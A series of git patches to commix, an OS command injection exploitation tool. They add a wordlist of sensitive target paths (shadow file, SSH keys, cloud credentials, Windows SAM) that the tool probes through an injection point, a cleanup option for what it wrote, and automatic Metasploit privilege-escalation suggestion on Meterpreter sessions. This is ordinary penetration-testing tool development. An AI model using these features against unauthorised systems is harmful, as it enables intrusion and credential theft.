"CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", - "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", + "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "REGISTRY_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", "HTTP_ERROR_CODES_SUM", "IDENTIFIED_WARNINGS", "INIT_TEST", "LAST_DOT_BUCKET", "LAST_LOG_GROUP", "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", From 1b2a3efbf0f33da5fddd11648bee533f126c041b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:59:19 +0300 Subject: [PATCH 0871/1023] Trivial update --- src/core/controller/checks.py | 8 ++++---- src/core/controller/injector.py | 2 +- src/core/parse/cmdline.py | 4 ++-- src/core/shells/modes.py | 2 +- src/utils/settings.py | 9 +++++---- src/utils/version.py | 2 +- 6 files changed, 14 insertions(+), 13 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d7a932ffc6..f8f88439c2 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -440,7 +440,7 @@ def mobile_user_agents(): menu.mobile_user_agents(devices, default_index) while True: - message = "Which smartphone do you want commix to imitate through HTTP User-Agent header? " + message = "Which smartphone do you want " + settings.APPLICATION + " to imitate through HTTP User-Agent header? " mobile_user_agent = common.read_input(message, default=str(default_index + 1), check_batch=True) try: choice = int(mobile_user_agent) @@ -1053,7 +1053,7 @@ def offer_anticsrf_token(parameter): if not name or not any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): return message = "The parameter '" + name + "' appears to hold an anti-CSRF token. " - message += "Do you want commix to automatically update it in further requests? [y/N] " + message += "Do you want " + settings.APPLICATION + " to automatically update it in further requests? [y/N] " if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES: set_anticsrf_token(name) @@ -3420,7 +3420,7 @@ def waf_evasion_consent(): # The evasion is only ours to choose while the user has not chosen one of their own. if not settings.WAF_ENABLED or menu.options.skip_waf or settings.USER_APPLIED_TAMPER or menu.options.tamper: return False - message = "Do you want commix to try bypassing it? [Y/n] " + message = "Do you want " + settings.APPLICATION + " to try bypassing it? [Y/n] " settings.WAF_EVASION_CONSENT = common.read_input(message, default="Y", check_batch=True).lower() != "n" return settings.WAF_EVASION_CONSENT @@ -3863,7 +3863,7 @@ def check_encoders(payload): encoded_with = description["codec"] while True: message = "The value appears to already be " + encoded_with + "-encoded. " - message += "Do you want commix to keep it that way? [Y/n] " + message += "Do you want " + settings.APPLICATION + " to keep it that way? [Y/n] " answer = common.read_input(message, default="Y", check_batch=True) if answer in settings.CHOICE_YES: break diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index d482c7f210..6f0ef44c15 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -81,7 +81,7 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa checks.warm_up_response_baseline(url, http_request_method) if settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: - msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " + msg = "Do you want " + settings.APPLICATION + " to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES # An interrupted prior run's partial value carries an already-confirmed length. diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index b8d3208f6a..00e1ed176b 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1083,7 +1083,7 @@ def banner(): action="store_true", dest="purge", default=False, - help="Safely remove all content from commix data directory.") + help="Safely remove all content from " + settings.APPLICATION + " data directory.") misc.add_option("--unstable", action="store_true", @@ -1273,7 +1273,7 @@ def truncate_option_strings(self, *args): COMMON_OPTIONS = ( (("?",), "show this help"), (("back",), "return to the previous menu"), - (("quit", "exit"), "exit Commix (<Ctrl-C> asks what to do instead)"), + (("quit", "exit"), "exit " + settings.APPLICATION + " (<Ctrl-C> asks what to do instead)"), ) OS_SHELL_OPTIONS = COMMON_OPTIONS + ( diff --git a/src/core/shells/modes.py b/src/core/shells/modes.py index da5d335066..287bdc68fe 100644 --- a/src/core/shells/modes.py +++ b/src/core/shells/modes.py @@ -175,7 +175,7 @@ def shell_mode_options(mode, separator, filename, url): while True: prompt_name = mode.name if selected_module is None else mode.qualified(selected_module) try: - option = common.safe_input("commix(" + prompt_name + ") > ") + option = common.safe_input(settings.APPLICATION + "(" + prompt_name + ") > ") except KeyboardInterrupt: checks.handle_exploitation_interrupt(filename, url) continue diff --git a/src/utils/settings.py b/src/utils/settings.py index b03b3c65b4..af6c603293 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -26,6 +26,9 @@ from src.core.compat import xrange from src.core import eval as _eval +# About +APPLICATION = "commix" + # The language whose code injection grammar is in use; '--eval' can name another one. EVAL_GRAMMAR = _eval.grammar() from src.thirdparty.six.moves import reload_module as _reload_module @@ -95,7 +98,7 @@ class HTTPMETHOD(object): def styled_prompt(codes, text): return RL_INVISIBLE_START + codes + RL_INVISIBLE_END + text -OS_SHELL = "commix(os_shell) > " +OS_SHELL = APPLICATION + "(os_shell) > " # The timestamp every message carries. def print_time(): @@ -399,12 +402,10 @@ def sys_argv_errors(): """ The global variables. """ -# About -APPLICATION = "commix" DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "199" +REVISION = "200" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/version.py b/src/utils/version.py index bb4f404c7a..bd5ecbae20 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -31,7 +31,7 @@ def python_version(): if PYTHON_VERSION.split(".")[0] != "3": err_msg = "Unsupported Python version detected: " err_msg += PYTHON_VERSION + ". " - err_msg += "commix requires Python 3.7 or later." + err_msg += settings.APPLICATION + " requires Python 3.7 or later." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Exits non-zero: a caller that cannot tell this apart from a finished run - a CI job, or any # script around commix - would otherwise read the wrong interpreter as a successful one. From c76c8fdc3c2769e5794db209f580675bf76e5ae1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 07:10:55 +0300 Subject: [PATCH 0872/1023] Added new option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read` --- data/txt/common-files.txt | 54 ++++++++++++++++++++++++++++++ doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 48 ++++++++++++++++++++++++++ src/core/controller/file_access.py | 29 +++++++++++++++- src/core/parse/cmdline.py | 10 ++++-- src/utils/settings.py | 5 ++- 6 files changed, 143 insertions(+), 4 deletions(-) create mode 100644 data/txt/common-files.txt diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt new file mode 100644 index 0000000000..4d94dc38ed --- /dev/null +++ b/data/txt/common-files.txt @@ -0,0 +1,54 @@ +# Candidate paths for '--common-files', checked for existence one at a time through the confirmed +# injection point. Only absolute paths are listed - a relative one would resolve against whatever +# directory the shell starts a command in, which is not reliably the web root. Unix-style paths are +# tried on a Unix-like target, drive-letter paths on a Windows one - each line only on the target OS +# it is shaped for. + +# System accounts and shell configuration +/etc/passwd +/etc/shadow +/etc/group +/etc/hosts +/etc/hostname +/etc/resolv.conf +/etc/sudoers +/etc/crontab +/root/.bash_history +/root/.ssh/id_rsa +/root/.ssh/authorized_keys + +# Web server configuration +/etc/apache2/apache2.conf +/etc/httpd/conf/httpd.conf +/etc/nginx/nginx.conf +/etc/php.ini + +# Cloud and service credentials +/root/.aws/credentials +/root/.docker/config.json +/var/lib/docker/config.json +/proc/self/environ + +# Logs that can carry secrets a request leaked +/var/log/auth.log +/var/log/apache2/access.log +/var/log/nginx/access.log + +# Windows system configuration +C:\Windows\win.ini +C:\Windows\System32\drivers\etc\hosts +C:\Windows\repair\SAM +C:\Windows\System32\config\SAM +C:\Windows\debug\NetSetup.log +C:\Windows\Panther\Unattend.xml +C:\Windows\Panther\Unattended.xml +C:\Windows\System32\inetsrv\config\applicationHost.config +C:\inetpub\wwwroot\web.config +C:\xampp\apache\conf\httpd.conf +C:\xampp\php\php.ini +C:\AppServ\www\config.php + +# Windows user data +C:\Users\Administrator\NTUser.dat +C:\Users\Administrator\.ssh\id_rsa +C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6a45c83aea..f2c475923d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read`. * Added: New options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type`. * Added: New tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright. * Added: New tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index f8f88439c2..42217d39e8 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4922,6 +4922,45 @@ def check_file(remote_file_path): cmd = add_command_substitution(cmd) return cmd +""" +The '--common-files' candidate paths, filtered to the ones shaped for the target's own OS - a +drive-letter path is never tried on a Unix-like target, nor an absolute Unix one on Windows. +""" +def common_files_candidates(): + try: + with open(settings.COMMON_FILES_LIST, "r", encoding=settings.DEFAULT_CODEC) as candidates: + lines = [line.strip() for line in candidates if line.strip() and not line.startswith("#")] + except IOError: + return [] + if settings.TARGET_OS == settings.OS.WINDOWS: + return [path for path in lines if re.match(r"^[A-Za-z]:[\\/]", path)] + return [path for path in lines if path.startswith("/")] + +""" +Whether 'check_file()' says the path exists - 'Test-Path' answers in words ('True'/'False'), which +'if shell:' alone would read as existing either way, so the word itself is what is compared here. +""" +def common_file_exists(shell): + if settings.TARGET_OS == settings.OS.WINDOWS: + return str(shell).strip() == "True" + return bool(shell) + +""" +Report the '--common-files' findings. +""" +def print_common_files(found, filename): + if found: + info_msg = "Found " + str(len(found)) + " common file" + ('s', '')[len(found) == 1] + " on the target:" + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for path in found: + file_line = "[*] '" + path + "'" + settings.print_data_to_stdout(file_line) + logs.add_line(filename, file_line, group="common-files") + logs.report_add_enumeration("common_files", path) + else: + info_msg = "None of the common files checked for were found on the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ File content to read. """ @@ -5174,6 +5213,15 @@ def run_file_access(execute_cmd, filename): ran = True download_file(execute_cmd, None, filename) + if menu.options.common_files: + ran = True + candidates = common_files_candidates() + if candidates: + info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + found = [path for path in candidates if common_file_exists(execute_cmd(check_file(path)))] + print_common_files(found, filename) + if ran: settings.FILE_ACCESS_DONE = True diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py index d4038cafc6..e4b6175576 100755 --- a/src/core/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -87,6 +87,29 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) +""" +Check for the '--common-files' wordlist on the target host, one path at a time. +""" +def common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + candidates = checks.common_files_candidates() + if not candidates: + return + info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + injector = execution.select_injector(technique) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + found = [] + for path in candidates: + # The same cheap pre-check '--file-read' uses under a timed technique - skipping the full + # extraction for a path that is not even there, rather than paying for one per candidate. + if settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \ + not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, path, technique): + continue + shell, fresh = execute_cmd(checks.check_file(path)) + if checks.common_file_exists(shell): + found.append(path) + checks.print_common_files(found, filename) + """ Check the defined options """ @@ -94,11 +117,15 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if menu.options.file_write: file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.FILE_ACCESS_DONE = True - + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.FILE_ACCESS_DONE = True + if menu.options.common_files: + common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + """ Check stored session """ diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 00e1ed176b..d7b5a6c290 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -702,6 +702,12 @@ def banner(): dest="file_dest", help="Host's absolute filepath to write to.") +file_access.add_option("--common-files", + action="store_true", + dest="common_files", + default=False, + help="Check for common files on the target host.") + # Windows registry access options registry = OptionGroup(parser, "Registry access", "These options can be used to access the Windows registry on the target host.") @@ -890,7 +896,7 @@ def banner(): type="int", dest="maxlen", default=settings.MAXLEN, - help="Set the max length of character-by-character output (Default: " + str(settings.MAXLEN) + " chars)." + help="Set the max length of character-by-character output (Default: " + str(settings.MAXLEN) + " chars).") injection.add_option("--time-sec", default=0, @@ -1494,7 +1500,7 @@ def enumeration_options(): Check if file access options are enabled. """ def file_access_options(): - if any(v is not None for v in (options.file_write, options.file_read)): + if any(v is not None for v in (options.file_write, options.file_read)) or options.common_files: return True """ diff --git a/src/utils/settings.py b/src/utils/settings.py index af6c603293..86ecce4d73 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "200" +REVISION = "201" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1689,6 +1689,9 @@ def strip_ansi_codes(text): # Path to file with known CGI scripts/pages potentially vulnerable to Shellshock CGI_SCRIPTS = os.path.join(TXT_DIR, "shocker-cgi_list.txt") +# The candidate paths '--common-files' checks for existence, one '--file-read' away once confirmed. +COMMON_FILES_LIST = os.path.join(TXT_DIR, "common-files.txt") + REQUIRED_AUTHENTICATION = False INJECTION_CHECKER = False From 998c18f1679d40a3e57f7a299a6779eb189c8569 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 9 Oct 2026 06:26:11 +0300 Subject: [PATCH 0873/1023] Added new option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 72 ++++++++++++++++++++++---- src/core/controller/file_access.py | 8 ++- src/core/controller/registry_access.py | 5 +- src/core/parse/cmdline.py | 6 +++ src/utils/settings.py | 2 +- 6 files changed, 79 insertions(+), 15 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f2c475923d..704ebc5ad2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target. * Added: New option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read`. * Added: New options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type`. * Added: New tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 42217d39e8..72d6302201 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4940,7 +4940,7 @@ def common_files_candidates(): Whether 'check_file()' says the path exists - 'Test-Path' answers in words ('True'/'False'), which 'if shell:' alone would read as existing either way, so the word itself is what is compared here. """ -def common_file_exists(shell): +def path_exists_on_target(shell): if settings.TARGET_OS == settings.OS.WINDOWS: return str(shell).strip() == "True" return bool(shell) @@ -5067,14 +5067,35 @@ def file_write_status(shell, dest_to_write): warn_msg = "The write to '" + dest_to_write + "' could not be verified - the confirmation " warn_msg += "output came back incomplete." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False elif shell: info_msg = "The file has been successfully created in remote directory: '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + return True else: warn_msg = "The file does not appear to exist in the remote directory '" + dest_to_write + "'. " warn_msg += "This could mean the write failed, or you do not have permission to write to that directory." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False +""" +Remove a file '--cleanup' just confirmed this run wrote to the target, through the given +execute_cmd(cmd) -> output callback - called right after the write, not deferred. +""" +def cleanup_remote_file(execute_cmd, path): + info_msg = "Cleaning up the file written to '" + path + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + path.replace("\\", "\\\\") + else: + cmd = settings.DEL + quoted_cmd(path) + execute_cmd(cmd) + if path_exists_on_target(execute_cmd(check_file(path))): + warn_msg = "The file '" + path + "' still appears to exist on the target. Remove it by hand." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + info_msg = "The file '" + path + "' has been removed from the target." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) """ Write a local file to the target, through the given execute_cmd(cmd) -> output callback. @@ -5089,7 +5110,7 @@ def upload_file(execute_cmd, file_to_write, dest_to_write, content): else: execute_cmd(write_content(content, dest_to_write)) shell = execute_cmd(remove_command_substitution(check_file(dest_to_write))) - file_write_status(shell, dest_to_write) + return file_write_status(shell, dest_to_write) """ Read a file from the target, through the given execute_cmd(cmd) -> output callback. @@ -5207,7 +5228,9 @@ def run_file_access(execute_cmd, filename): if menu.options.file_write: ran = True file_to_write, dest_to_write, content = check_file_to_write() - upload_file(execute_cmd, file_to_write, dest_to_write, content) + written = upload_file(execute_cmd, file_to_write, dest_to_write, content) + if written and menu.options.cleanup: + cleanup_remote_file(execute_cmd, dest_to_write) if menu.options.file_read: ran = True @@ -5219,7 +5242,7 @@ def run_file_access(execute_cmd, filename): if candidates: info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - found = [path for path in candidates if common_file_exists(execute_cmd(check_file(path)))] + found = [path for path in candidates if path_exists_on_target(execute_cmd(check_file(path)))] print_common_files(found, filename) if ran: @@ -5280,30 +5303,55 @@ def registry_write_status(shell, key, value, newline_first=False): if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED): warn_msg = "It seems you do not have permission to write to the registry key '" + key + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False elif shell and "operation completed successfully" in str(shell).lower(): info_msg = "The registry value '" + value + "' has been successfully written to the key '" + key + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + return True else: warn_msg = "The registry value '" + value + "' does not appear to have been written to the key '" + key + "'. " warn_msg += "This could mean the write failed, or you do not have permission to write to that key." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False """ -Build the 'reg delete' command for the key named with '--reg-key', or the single value named with '--reg-value'. +Remove a registry value (or whole key) '--cleanup' just confirmed this run wrote to the target, +through the given execute_cmd(cmd) -> output callback - called right after the write, not deferred. """ -def registry_delete_cmd(): - key = menu.options.reg_key - value = menu.options.reg_value +def cleanup_registry_value(execute_cmd, key, value): target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" - info_msg = "Attempting to delete the registry " + target + "." + info_msg = "Cleaning up the registry " + target + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + shell = execute_cmd(registry_delete_cmd_for(key, value)) + if shell and "operation completed successfully" in str(shell).lower(): + info_msg = "The registry " + target + " has been removed from the target." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "The registry " + target + " does not appear to have been removed. Remove it by hand." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +The 'reg delete' command for a given key, or the single value of it named by 'value'. +""" +def registry_delete_cmd_for(key, value): cmd = settings.WIN_REG_DEL + "\"" + key + "\"" # With no value named, 'reg delete' takes the bare key as the whole key to remove - '/va' would # only clear its values and leave the key itself standing, which is not what "delete the key" means. if value: cmd += " /v \"" + value + "\"" cmd += " /f" - return cmd, key, value + return cmd + +""" +Build the 'reg delete' command for the key named with '--reg-key', or the single value named with '--reg-value'. +""" +def registry_delete_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" + info_msg = "Attempting to delete the registry " + target + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return registry_delete_cmd_for(key, value), key, value """ Display the result of an attempted registry deletion on the remote target. @@ -5339,7 +5387,9 @@ def run_registry_access(execute_cmd, filename): ran = True cmd, key, value = registry_write_cmd() shell = execute_cmd(cmd) - registry_write_status(shell, key, value) + written = registry_write_status(shell, key, value) + if written and menu.options.cleanup: + cleanup_registry_value(execute_cmd, key, value) if menu.options.reg_read: ran = True diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py index e4b6175576..775d99ec92 100755 --- a/src/core/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -67,7 +67,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_write_status(shell, dest_to_write) + written = checks.file_write_status(shell, dest_to_write) + # Done right away, not deferred to quit() - 'fire' reads live technique state that moves on as + # the run keeps probing, so replaying it later is replaying it under the wrong technique. + if written and menu.options.cleanup: + checks.cleanup_remote_file(fire, dest_to_write) """ Read a file from the target host. @@ -106,7 +110,7 @@ def common_files(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, path, technique): continue shell, fresh = execute_cmd(checks.check_file(path)) - if checks.common_file_exists(shell): + if checks.path_exists_on_target(shell): found.append(path) checks.print_common_files(found, filename) diff --git a/src/core/controller/registry_access.py b/src/core/controller/registry_access.py index c86c94898d..5c23ead831 100644 --- a/src/core/controller/registry_access.py +++ b/src/core/controller/registry_access.py @@ -36,7 +36,10 @@ def registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time cmd, key, value = checks.registry_write_cmd() execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) shell, fresh = execute_cmd(cmd) - checks.registry_write_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh) + written = checks.registry_write_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh) + # Done right away, not deferred to quit() - see the matching note in file_access.py's file_write(). + if written and menu.options.cleanup: + checks.cleanup_registry_value(lambda c: execute_cmd(c)[0], key, value) """ Delete a Windows registry key, or a single value of it. diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index d7b5a6c290..8303a27200 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1091,6 +1091,12 @@ def banner(): default=False, help="Safely remove all content from " + settings.APPLICATION + " data directory.") +misc.add_option("--cleanup", + action="store_true", + dest="cleanup", + default=False, + help="Remove what this run itself wrote to the target ('--file-write', '--reg-add'), right after writing it.") + misc.add_option("--unstable", action="store_true", dest="unstable", diff --git a/src/utils/settings.py b/src/utils/settings.py index 86ecce4d73..3df3a70c30 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "201" +REVISION = "202" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From befaed79e6bd96a71aa9d94e6e91dd73d3692f2d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 9 Oct 2026 06:34:26 +0300 Subject: [PATCH 0874/1023] Added new option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 14 ++++++++++++++ src/core/parse/cmdline.py | 6 ++++++ src/core/shells/reverse_tcp.py | 1 + src/utils/settings.py | 2 +- 5 files changed, 23 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 704ebc5ad2..a61240879f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens. * Added: New option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target. * Added: New option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read`. * Added: New options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type`. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 72d6302201..2f9727a94c 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -6239,16 +6239,30 @@ def generate_msf_payload(payload, output, host_key, host_value, extra_msfvenom_a "set payload " + payload + settings.END_LINE.LF + "set " + host_key.lower() + " " + str(host_value) + settings.END_LINE.LF + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + priv_esc_autorun_line(payload) + "exploit" + settings.END_LINE.LF * 2 ) return data +""" +'--priv-esc': the handler line that runs Metasploit's own local-exploit-suggester post module +against a Meterpreter session the instant it opens - nothing to add for a plain (non-Meterpreter) +shell, which Metasploit tracks as a session but has no post-module compatibility with. +""" +def priv_esc_autorun_line(payload): + if menu.options.priv_esc and "meterpreter" in payload: + return "set AutoRunScript post/multi/recon/local_exploit_suggester" + settings.END_LINE.LF + return "" + """ Message regarding the MSF handler. """ def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.priv_esc: + info_msg = "Once a session opens, 'post/multi/recon/local_exploit_suggester' runs against it automatically ('--priv-esc')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) info_msg = "Once the loading finishes, press any key here to continue..." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) sys.stdin.readline().replace(settings.END_LINE.LF, "") diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 8303a27200..48471c6102 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -959,6 +959,12 @@ def banner(): default=False, help="Set a local path where metasploit is installed.") +injection.add_option("--priv-esc", + action="store_true", + dest="priv_esc", + default=False, + help="Suggest local privilege-escalation exploits as soon as a Meterpreter session opens.") + # Detection options detection = OptionGroup(parser, "Detection", "These options can be " "used to customize the detection phase.") diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0adae518cd..c0cfb6d798 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -266,6 +266,7 @@ def _write_web_delivery_rc(payload, target_index): "set lport " + str(settings.LPORT) + settings.END_LINE.LF + "set srvport " + str(settings.SRVPORT) + settings.END_LINE.LF + "set uripath " + settings.URIPATH + settings.END_LINE.LF + + checks.priv_esc_autorun_line(payload) + "exploit" + settings.END_LINE.LF * 2) return output diff --git a/src/utils/settings.py b/src/utils/settings.py index 3df3a70c30..bcf5b41a95 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): 